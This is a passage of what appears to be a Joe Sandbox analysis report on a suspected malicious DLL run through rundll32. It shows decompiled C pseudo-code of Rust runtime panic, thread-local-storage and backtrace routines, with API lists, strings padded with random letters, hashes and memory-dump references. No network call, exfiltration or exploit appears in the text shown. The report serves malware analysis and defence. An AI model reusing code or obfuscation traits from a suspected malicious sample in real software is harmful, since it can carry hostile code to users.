											_v68 = 0x6edefad0;
											_v64 = 1;
											_v152 = 0x6edfe10c;
											_v41 = _t265;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EDADD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t222 = E6EDAD0F0( &_v92, __eflags);
											_t333 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6edfe10c);
											__eflags = _t222 - 3;
											if(__eflags != 0) {
												goto L94;
											}
											_v20 = 5;
											_v40 = _t333;
											 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
											_t336 = _t336 + 4;
											goto L89;
										} else {
											if(_t219 == 1) {
												L94:
												_t360 = _v36;
												if(_t360 != 0) {
													asm("lock dec dword [eax]");
													if(_t360 == 0) {
														E6EDAC640(_v84);
													}
												}
												_t334 = _v140;
												_t331 = _v136;
												_t361 = _v72;
												if(_t361 != 0) {
													asm("lock dec dword [eax]");
													if(_t361 == 0) {
														E6EDADA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6edfe11c);
												_t362 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6edf029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6edef570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t226 = E6EDAD0F0( &_v80, _t362);
													_v120 =  &_v68;
													_v124 = _t226;
													E6EDAD2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t280 = _t331;
												E6EDAD290(_t280, _t334);
												asm("ud2");
												goto L103;
											}
											 *0x6edfd040 = 0;
											_t356 =  *0x6edfd040;
											if( *0x6edfd040 == 0) {
												goto L94;
											}
											_t324 =  &_v68;
											_v68 = 0x6edf017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6edef570;
											_v48 = 0;
											_v20 = 3;
											if(E6EDAD0F0( &_v92, _t356) != 3) {
												goto L94;
											}
											_v40 = _t324;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t336 = _t336 + 4;
											L89:
											_t291 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t291 + 4)) != 0) {
												_t235 =  *_v40;
												if( *((intOrPtr*)(_t291 + 8)) >= 9) {
													_t235 =  *(_t235 - 4);
												}
												HeapFree( *0x6edfe128, 0, _t235);
											}
											HeapFree( *0x6edfe128, 0, _v40);
											goto L94;
										}
									}
									_t210 = 0;
									goto L104;
								}
								_t210 = 0;
								goto L47;
							}
						}
					}
				}
			}

APIs

Part of subcall function 6EDAD000: TlsGetValue.KERNEL32(00000000,00000001,6EDAC746), ref: 6EDAD00B
Part of subcall function 6EDAD000: TlsGetValue.KERNEL32(00000000), ref: 6EDAD043

AcquireSRWLockShared.KERNEL32(6EDFE11C), ref: 6EDAC785
HeapFree.KERNEL32(00000000,00000000), ref: 6EDAC8DC
HeapFree.KERNEL32(00000000,?), ref: 6EDAC8EA
TlsGetValue.KERNEL32(00000000), ref: 6EDAC94D
TlsGetValue.KERNEL32(00000000), ref: 6EDACA47
HeapFree.KERNEL32(00000000,00000000), ref: 6EDACB31
HeapFree.KERNEL32(00000000,?), ref: 6EDACB3F
GetProcessHeap.KERNEL32 ref: 6EDACC18
HeapAlloc.KERNEL32(03340000,00000000,00000010), ref: 6EDACC2B
TlsSetValue.KERNEL32(00000000,00000000,03340000,00000000,00000010), ref: 6EDACC9C
HeapFree.KERNEL32(00000000,00000000,03340000,00000000,00000010), ref: 6EDACD1D

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EDACC00
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6EDAC74D, 6EDAC7C8
already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd, xrefs: 6EDACBE1
full, xrefs: 6EDACCF8

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: Heap$FreeValue$AcquireAllocLockProcessShared
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd$cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa$full
API String ID: 2275035175-262129955
Opcode ID: 585e7dc970c59a0201e119a457bce95c3ceabf7ce81151782ceae4148d1fb992
Instruction ID: 152bc147707d5887612071acdf0ca0a0ff57aca1c41b7461a460550506bc0bd4
Opcode Fuzzy Hash: 585e7dc970c59a0201e119a457bce95c3ceabf7ce81151782ceae4148d1fb992
Instruction Fuzzy Hash: 9A1238B0E00219CFEB10CFE9C85479EBBB5BB49328F204519DA55AF380D775AA46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAE4E0, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 135
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6EDAE4E0(void* __ebx, void* __edi, void* __esi, char _a8) {
				int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebp;
				void* _t15;
				struct HINSTANCE__* _t20;
				signed int _t21;
				void* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				void* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				signed int _t50;
				_Unknown_base(*)()* _t52;
				void* _t59;

				_t48 = __edi;
				_push(__edi);
				_v32 = _t59 - 0x14;
				_v20 = 0xffffffff;
				_v24 = E6EDB39F0;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t35 =  *0x6edfe124; // 0x0
				if(_t35 == 0) {
					_t15 = CreateMutexA(0, 0, "Local\\RustBacktraceMutex");
					__eflags = _t15;
					if(_t15 == 0) {
						_t54 = 1;
						goto L19;
					} else {
						_t35 = _t15;
						__eflags = 0;
						asm("lock cmpxchg [0x6edfe124], ebx");
						if(0 != 0) {
							CloseHandle(_t35);
							_t35 = 0;
						}
						goto L1;
					}
				} else {
					L1:
					WaitForSingleObjectEx(_t35, 0xffffffff, 0);
					_t20 =  *0x6edfe130; // 0x0
					if(_t20 != 0) {
						L3:
						_t54 = 0;
						if( *0x6edfe164 != 0) {
							goto L19;
						} else {
							_t38 =  *0x6edfe134; // 0x0
							if(_t38 != 0) {
								L7:
								_t21 =  *_t38();
								_t39 =  *0x6edfe138; // 0x0
								_t50 = _t21;
								if(_t39 != 0) {
									L10:
									 *_t39(_t50 | 0x00000004);
									_t52 =  *0x6edfe13c; // 0x0
									if(_t52 != 0) {
										L13:
										_t23 = GetCurrentProcess();
										 *_t52(_t23, 0, 1);
										 *0x6edfe164 = 1;
										goto L19;
									} else {
										_t25 = GetProcAddress( *0x6edfe130, "SymInitializeW");
										if(_t25 == 0) {
											_v36 = _t35;
											_v20 = 0;
											E6EDC94E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t52, _t54, __eflags, 0x6edf04bc);
											goto L23;
										} else {
											_t52 = _t25;
											 *0x6edfe13c = _t25;
											goto L13;
										}
									}
								} else {
									_t28 = GetProcAddress( *0x6edfe130, "SymSetOptions");
									if(_t28 == 0) {
										_v36 = _t35;
										_v20 = 0;
										E6EDC94E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t50, _t54, __eflags, 0x6edf04ac);
										goto L23;
									} else {
										_t39 = _t28;
										 *0x6edfe138 = _t28;
										goto L10;
									}
								}
							} else {
								_t30 = GetProcAddress(_t20, "SymGetOptions");
								if(_t30 == 0) {
									_v36 = _t35;
									_v20 = 0;
									E6EDC94E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t48, 0, __eflags, 0x6edf049c);
									L23:
									asm("ud2");
									__eflags =  &_a8;
									return E6EDAE6D0(_v36);
								} else {
									_t38 = _t30;
									 *0x6edfe134 = _t30;
									goto L7;
								}
							}
						}
					} else {
						_t20 = LoadLibraryA("dbghelp.dll");
						 *0x6edfe130 = _t20;
						if(_t20 == 0) {
							ReleaseMutex(_t35);
							_t54 = 1;
							L19:
							 *[fs:0x0] = _v28;
							return _t54;
						} else {
							goto L3;
						}
					}
				}
			}

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDAE520
LoadLibraryA.KERNEL32(dbghelp.dll,00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDAE533
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6EDAE564
GetProcAddress.KERNEL32(SymSetOptions), ref: 6EDAE592
GetProcAddress.KERNEL32(SymInitializeW), ref: 6EDAE5C2
GetCurrentProcess.KERNEL32 ref: 6EDAE5D7
CreateMutexA.KERNEL32(00000000,00000000,Local\RustBacktraceMutex), ref: 6EDAE5F5
CloseHandle.KERNEL32(00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EDAE613

Part of subcall function 6EDAE6D0: ReleaseMutex.KERNEL32(?,6EDAE448), ref: 6EDAE6D1

Strings

dbghelp.dll, xrefs: 6EDAE52E
called `Option::unwrap()` on a `None` value, xrefs: 6EDAE651, 6EDAE674, 6EDAE697
SymGetOptions, xrefs: 6EDAE55E
Local\RustBacktraceMutex, xrefs: 6EDAE5EC
SymSetOptions, xrefs: 6EDAE587
SymInitializeW, xrefs: 6EDAE5B7

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: AddressProc$Mutex$CloseCreateCurrentHandleLibraryLoadObjectProcessReleaseSingleWait
String ID: Local\RustBacktraceMutex$SymGetOptions$SymInitializeW$SymSetOptions$called `Option::unwrap()` on a `None` value$dbghelp.dll
API String ID: 1067696788-3213342004
Opcode ID: ba480d043b0e235947ce0af4643d16fc377946dbc82507a3935bfec617cc6eef
Instruction ID: 78a0f417e6d0249c1190e0798776396d4439779e9bceac8465720ecb320a22a7
Opcode Fuzzy Hash: ba480d043b0e235947ce0af4643d16fc377946dbc82507a3935bfec617cc6eef
Instruction Fuzzy Hash: 5741D4B1E00601DFEF10DFE9EC5475A76A9AB45764F040938ED16AB3C1EB34D582C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC6D0, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 409
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EDAC6D0(long _a4, signed int _a8) {
				intOrPtr _v4;
				void* _v20;
				void _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t193;
				void* _t197;
				void _t198;
				intOrPtr* _t199;
				signed int _t200;
				signed int _t202;
				char* _t204;
				long _t205;
				long _t206;
				void* _t207;
				void* _t208;
				long _t209;
				void _t212;
				void _t213;
				void* _t222;
				void* _t225;
				long _t229;
				void* _t238;
				void* _t248;
				void* _t250;
				void* _t251;
				char** _t254;
				char** _t255;
				void* _t259;
				void* _t263;
				void _t268;
				char _t269;
				signed char _t271;
				void* _t274;
				void _t275;
				intOrPtr _t278;
				void* _t280;
				char* _t281;
				void _t282;
				void _t285;
				intOrPtr _t296;
				intOrPtr _t300;
				void _t303;
				long _t307;
				intOrPtr _t312;
				void* _t314;
				void* _t315;
				signed int _t316;
				signed int _t318;
				void* _t324;
				intOrPtr* _t330;
				long _t332;
				void* _t333;
				void* _t337;
				void _t338;
				void* _t340;
				void* _t341;
				void* _t342;
				void* _t343;
				void _t346;
				void* _t347;
				void* _t348;
				void* _t359;
				void* _t372;
				long _t373;

				 *_t346 = _t274;
				_v4 = _t312;
				_t275 = _t346;
				_push(_a4);
				_push(0);
				L1();
				_t347 = _t346 + 8;
				asm("ud2");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t348 = _t347 - 0x88;
				_v40 = _t348;
				_v28 = 0xffffffff;
				_v32 = E6EDB39A0;
				_t268 = _t275;
				_t340 = 1;
				_t337 = 0x6edf01dc;
				_v36 =  *[fs:0x0];
				 *[fs:0x0] =  &_v36;
				asm("lock xadd [0x6edfe120], esi");
				_t193 = E6EDAD000(_t268, 0x6edf01dc);
				_t349 = _t193;
				if(_t193 == 0) {
					_t193 = E6EDC95A0(_t268,  &M6EDEF8F7, 0x46, _t349,  &_v68, 0x6edef870, 0x6edef9bc);
					_t348 = _t348 + 0xc;
					asm("ud2");
				}
				_t314 = _a8;
				_t278 =  *_t193 + 1;
				 *_t193 = _t278;
				if(_t340 < 0 || _t278 >= 3) {
					__eflags = _t278 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6edef570;
						_v120 = 0x6edef824;
						_v68 = 0x6edf0260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t314;
						_t315 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EDA2470;
						_v52 =  &_v80;
						_v48 = 1;
						_t197 = E6EDAD0F0( &_v100, __eflags);
						__eflags = _t197 - 3;
						if(_t197 == 3) {
							_v20 = 0;
							_v36 = _t315;
							 *((intOrPtr*)( *((intOrPtr*)(_t315 + 4))))( *_t315);
							_t348 = _t348 + 4;
							L12:
							_t340 = _v36;
							_t307 =  *(_t340 + 4);
							__eflags =  *(4 + _t307);
							if( *(4 + _t307) != 0) {
								HeapFree( *0x6edfe128, 0, _t259);
							}
							_t197 = HeapFree( *0x6edfe128, 0, _t340);
						}
						goto L17;
					}
					_t333 =  &_v68;
					_v68 = 0x6edf0224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6edef570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t197 = E6EDAD0F0( &_v124, __eflags);
					__eflags = _t197 - 3;
					if(_t197 != 3) {
						goto L17;
					} else {
						_v20 = 1;
						_v36 = _t333;
						 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
						_t348 = _t348 + 4;
						goto L12;
					}
				} else {
					_v132 = _t278;
					__imp__AcquireSRWLockShared(0x6edfe11c);
					_v144 = 0x6edfe11c;
					_v20 = 2;
					_v136 = _t268;
					_v140 = _t337;
					_t263 =  *((intOrPtr*)(_t337 + 0x10))(_t268);
					_t348 = _t348 + 4;
					_v36 = _t263;
					_v40 = _t314;
					_t197 = E6EDAD000(_t268, _t337);
					_t337 = _v40;
					_t352 = _t197;
					if(_t197 != 0) {
						L18:
						__eflags =  *_t197 - 1;
						_t280 = 1;
						if( *_t197 <= 1) {
							_t198 =  *0x6edfe110; // 0x0
							_t316 = _a8;
							__eflags = _t198 - 2;
							if(_t198 == 2) {
								_t280 = 0;
								goto L20;
							}
							__eflags = _t198 - 1;
							if(_t198 == 1) {
								_t280 = 4;
								goto L20;
							}
							__eflags = _t198;
							if(_t198 != 0) {
								goto L20;
							}
							E6EDAD380(_t268,  &_v68, _t337, _t340);
							_t337 = _v40;
							_t251 = _v68;
							__eflags = _t251;
							if(_t251 != 0) {
								goto L69;
							}
							_t271 = 5;
							goto L87;
						}
						_t316 = _a8;
						goto L20;
					} else {
						E6EDC95A0(_t268,  &M6EDEF8F7, 0x46, _t352,  &_v68, 0x6edef870, 0x6edef9bc);
						_t348 = _t348 + 0xc;
						L62:
						asm("ud2");
						L63:
						_t281 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t204 = 0xc;
						L22:
						_v100 = _t281;
						_v96 = _t204;
						_t205 =  *0x6edfd044; // 0x0
						if(_t205 == 0) {
							_t285 = 0x6edfd044;
							_t205 = E6EDB2960(_t268, 0x6edfd044, _t337, _t340);
						}
						_t197 = TlsGetValue(_t205);
						if(_t197 <= 1) {
							L43:
							_t206 =  *0x6edfd044; // 0x0
							__eflags = _t206;
							if(_t206 == 0) {
								_t285 = 0x6edfd044;
								_t206 = E6EDB2960(_t268, 0x6edfd044, _t337, _t340);
							}
							_t197 = TlsGetValue(_t206);
							__eflags = _t197;
							if(_t197 == 0) {
								_t207 =  *0x6edfe128; // 0x3340000
								__eflags = _t207;
								if(_t207 != 0) {
									L67:
									_t208 = HeapAlloc(_t207, 0, 0x10);
									__eflags = _t208;
									if(__eflags != 0) {
										 *_t208 = 0;
										 *(_t208 + 0xc) = 0x6edfd044;
										_t340 = _t208;
										_t209 =  *0x6edfd044; // 0x0
										__eflags = _t209;
										if(_t209 == 0) {
											_v36 = _t340;
											_t209 = E6EDB2960(_t268, 0x6edfd044, _t337, _t340);
											_t340 = _v36;
										}
										_t197 = TlsSetValue(_t209, _t340);
										goto L76;
									}
									L68:
									_t251 = E6EDC92F0(_t268, 0x10, 4, _t337, _t340, __eflags);
									asm("ud2");
									L69:
									_t332 = _v60;
									_t303 = _v64;
									__eflags = _t332 - 4;
									if(_t332 == 4) {
										__eflags =  *_t251 - 0x6c6c7566;
										if( *_t251 != 0x6c6c7566) {
											L84:
											_t340 = 2;
											_t271 = 0;
											__eflags = 0;
											L85:
											__eflags = _t303;
											if(_t303 != 0) {
												HeapFree( *0x6edfe128, 0, _t251);
											}
											L87:
											__eflags = _t271 - 5;
											_t316 = _a8;
											_t273 =  !=  ? _t340 : 1;
											_t280 =  !=  ? _t271 & 0x000000ff : 4;
											_t144 =  !=  ? _t340 : 1;
											_t268 =  *0x6edfe110;
											 *0x6edfe110 =  !=  ? _t340 : 1;
											L20:
											_v148 = _t316;
											_v128 = _t280;
											_t61 = _t337 + 0xc; // 0x6edb3290
											_t199 =  *_t61;
											_v40 = _t199;
											_t200 =  *_t199(_v36);
											_t348 = _t348 + 4;
											_t318 = _t316 ^ 0x7ef2a91e | _t200 ^ 0xecc7bcf4;
											__eflags = _t318;
											if(__eflags != 0) {
												_t202 = _v40(_v36);
												_t348 = _t348 + 4;
												__eflags = _t318 ^ 0xe43a67d8 | _t202 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L63;
												}
												_t254 = _v36;
												_t281 =  *_t254;
												_t204 = _t254[2];
												goto L22;
											}
											_t255 = _v36;
											_t281 =  *_t255;
											_t204 = _t255[1];
											goto L22;
										}
										_t271 = 1;
										_t340 = 3;
										goto L85;
									}
									__eflags = _t332 - 1;
									if(_t332 != 1) {
										goto L84;
									}
									__eflags =  *_t251 - 0x30;
									if( *_t251 != 0x30) {
										goto L84;
									}
									_t271 = 4;
									_t340 = 1;
									goto L85;
								}
								_t207 = GetProcessHeap();
								__eflags = _t207;
								if(__eflags == 0) {
									goto L68;
								}
								 *0x6edfe128 = _t207;
								goto L67;
							} else {
								_t340 = _t197;
								__eflags = _t197 - 1;
								if(_t197 != 1) {
									L76:
									_t282 =  *(_t340 + 8);
									__eflags =  *_t340;
									_t138 = _t340 + 4; // 0x4
									_t337 = _t138;
									 *_t340 = 1;
									 *(_t340 + 4) = 0;
									 *(_t340 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t282;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t197 = E6EDAC640(_t282);
											}
										}
									}
									goto L27;
								}
								_v84 = 0;
								_v36 = 0;
								_t213 = 0;
								__eflags = 0;
								goto L48;
							}
						} else {
							_t337 = _t197;
							if( *_t197 != 1) {
								goto L43;
							}
							_t337 = _t337 + 4;
							L27:
							if( *_t337 != 0) {
								E6EDC95A0(_t268, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6edef860, 0x6edeff30);
								_t348 = _t348 + 0xc;
								goto L62;
							}
							 *_t337 = 0xffffffff;
							_t340 =  *(_t337 + 4);
							if(_t340 == 0) {
								_v36 = _t337;
								_v20 = 8;
								_t250 = E6EDAC4D0(_t268, _t337, _t340);
								_t337 = _v36;
								_t340 = _t250;
								_t197 =  *(_t337 + 4);
								_t359 = _t197;
								if(_t359 != 0) {
									asm("lock dec dword [eax]");
									if(_t359 == 0) {
										_t285 =  *(_t337 + 4);
										_t197 = E6EDAC640(_t285);
									}
								}
								 *(_t337 + 4) = _t340;
							}
							asm("lock inc dword [esi]");
							if(_t359 <= 0) {
								L17:
								asm("ud2");
								asm("ud2");
								goto L18;
							} else {
								 *_t337 =  *_t337 + 1;
								_v84 = _t340;
								_v36 = _t340;
								if(_t340 != 0) {
									_t212 =  *(_t340 + 0x10);
									__eflags = _t212;
									_t285 =  ==  ? _t212 : _t340 + 0x10;
									__eflags = _t285;
									if(__eflags != 0) {
										L104:
										_t213 =  *_t285;
										_t285 =  *((intOrPtr*)(4 + _t285)) - 1;
										L105:
										_v20 = 3;
										L48:
										_v124 = 0x6edf010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t323 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t215 =  !=  ? _t285 : 9;
										_v80 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t324 =  &_v124;
										_v76 =  !=  ? _t285 : 9;
										_v68 =  &_v80;
										_v64 = 0x6edadca0;
										_v60 =  &_v100;
										_v56 = 0x6edadca0;
										_v52 =  &_v148;
										_v48 = E6EDADCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EDAD0F0( &_v92, _t213) == 3) {
											_v20 = 7;
											_v40 = _t324;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t348 = _t348 + 4;
											_t343 = _v40;
											_t300 =  *((intOrPtr*)(_t343 + 4));
											if( *((intOrPtr*)(_t300 + 4)) != 0) {
												_t248 =  *_t343;
												if( *((intOrPtr*)(_t300 + 8)) >= 9) {
													_t248 =  *(_t248 - 4);
												}
												HeapFree( *0x6edfe128, 0, _t248);
											}
											HeapFree( *0x6edfe128, 0, _t343);
										}
										_t269 = _v128;
										_t222 =  <  ? (_t269 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t222 == 0) {
											__imp__AcquireSRWLockExclusive(0x6edfe10c);
											_v68 = 0x6edefad0;
											_v64 = 1;
											_v152 = 0x6edfe10c;
											_v41 = _t269;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EDADD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t225 = E6EDAD0F0( &_v92, __eflags);
											_t341 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6edfe10c);
											__eflags = _t225 - 3;
											if(__eflags != 0) {
												goto L95;
											}
											_v20 = 5;
											_v40 = _t341;
											 *((intOrPtr*)( *((intOrPtr*)(_t341 + 4))))( *_t341);
											_t348 = _t348 + 4;
											goto L90;
										} else {
											if(_t222 == 1) {
												L95:
												_t372 = _v36;
												if(_t372 != 0) {
													asm("lock dec dword [eax]");
													if(_t372 == 0) {
														E6EDAC640(_v84);
													}
												}
												_t342 = _v140;
												_t338 = _v136;
												_t373 = _v72;
												if(_t373 != 0) {
													asm("lock dec dword [eax]");
													if(_t373 == 0) {
														E6EDADA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6edfe11c);
												_t374 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6edf029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6edef570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t229 = E6EDAD0F0( &_v80, _t374);
													_v120 =  &_v68;
													_v124 = _t229;
													E6EDAD2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t285 = _t338;
												E6EDAD290(_t285, _t342);
												asm("ud2");
												goto L104;
											}
											 *0x6edfd040 = 0;
											_t368 =  *0x6edfd040;
											if( *0x6edfd040 == 0) {
												goto L95;
											}
											_t330 =  &_v68;
											_v68 = 0x6edf017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6edef570;
											_v48 = 0;
											_v20 = 3;
											if(E6EDAD0F0( &_v92, _t368) != 3) {
												goto L95;
											}
											_v40 = _t330;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t330 + 4))))( *_t330);
											_t348 = _t348 + 4;
											L90:
											_t296 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t296 + 4)) != 0) {
												_t238 =  *_v40;
												if( *((intOrPtr*)(_t296 + 8)) >= 9) {
													_t238 =  *(_t238 - 4);
												}
												HeapFree( *0x6edfe128, 0, _t238);
											}
											HeapFree( *0x6edfe128, 0, _v40);
											goto L95;
										}
									}
									_t213 = 0;
									goto L105;
								}
								_t213 = 0;
								goto L48;
							}
						}
					}
				}
			}

APIs

Part of subcall function 6EDAC700: AcquireSRWLockShared.KERNEL32(6EDFE11C), ref: 6EDAC785

HeapFree.KERNEL32(00000000,00000000), ref: 6EDAC8DC
HeapFree.KERNEL32(00000000,?), ref: 6EDAC8EA
TlsGetValue.KERNEL32(00000000), ref: 6EDAC94D
HeapFree.KERNEL32(00000000,00000000), ref: 6EDACB31
HeapFree.KERNEL32(00000000,?), ref: 6EDACB3F

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EDACC00
cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6EDAC74D, 6EDAC7C8

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: FreeHeap$AcquireLockSharedValue
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa
API String ID: 942675266-716947571
Opcode ID: e8c7641bc85056c5e253f122934dac20f9380a09d3889fede676b4dc366fd3ad
Instruction ID: 5dcb462e51e1235a685d729d0a945e719991f5dd4a976ff9722bdba4ce12b792
Opcode Fuzzy Hash: e8c7641bc85056c5e253f122934dac20f9380a09d3889fede676b4dc366fd3ad
Instruction Fuzzy Hash: D10238B0E00219DFEB10CFE8C85479EBBB5BF49328F104519D955AB380D775AA46CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBF6F6, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 64%

			E6EDBF6F6(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
